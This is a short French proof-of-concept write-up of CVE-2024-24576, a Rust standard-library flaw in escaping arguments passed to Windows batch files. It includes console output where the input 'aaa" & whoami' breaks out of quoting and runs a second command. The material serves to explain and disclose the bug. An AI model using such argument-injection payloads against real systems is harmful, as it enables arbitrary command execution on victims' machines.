
Exemple de cas d'utilisation de CVE-2024-24576.
Les API Command::arg et Command::args indiquent dans leur documentation que les arguments seront passés au processus enfant tels quels, indépendamment du contenu des arguments, et ne seront pas évalués par un shell. Cela signifie qu'il devrait être sûr de passer une entrée non fiable en tant qu'argument.
Sous Windows, l'implémentation de cette fonctionnalité est plus complexe que sur d'autres plateformes, car l'API Windows ne fournit qu'une seule chaîne contenant tous les arguments au processus enfant, et c'est au processus enfant de les diviser. La plupart des programmes utilisent le argv standard du runtime C, ce qui en pratique donne une manière assez cohérente de séparer les arguments.
Une exception cependant est cmd.exe (utilisé entre autres pour exécuter des fichiers batch), qui possède sa propre logique de séparation des arguments. Cela oblige la bibliothèque standard à implémenter un échappement personnalisé pour les arguments passés aux fichiers batch. Malheureusement, il a été rapporté que notre logique d'échappement n'était pas assez poussée, et il était possible de passer des arguments malveillants qui aboutiraient à une exécution arbitraire de commandes shell.
L'exécution du fichier main.rs avec les charges utiles suivantes donne :
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
Notez l'argument échappé avec le " whoami
CE N'EST PAS MA DÉCOUVERTE !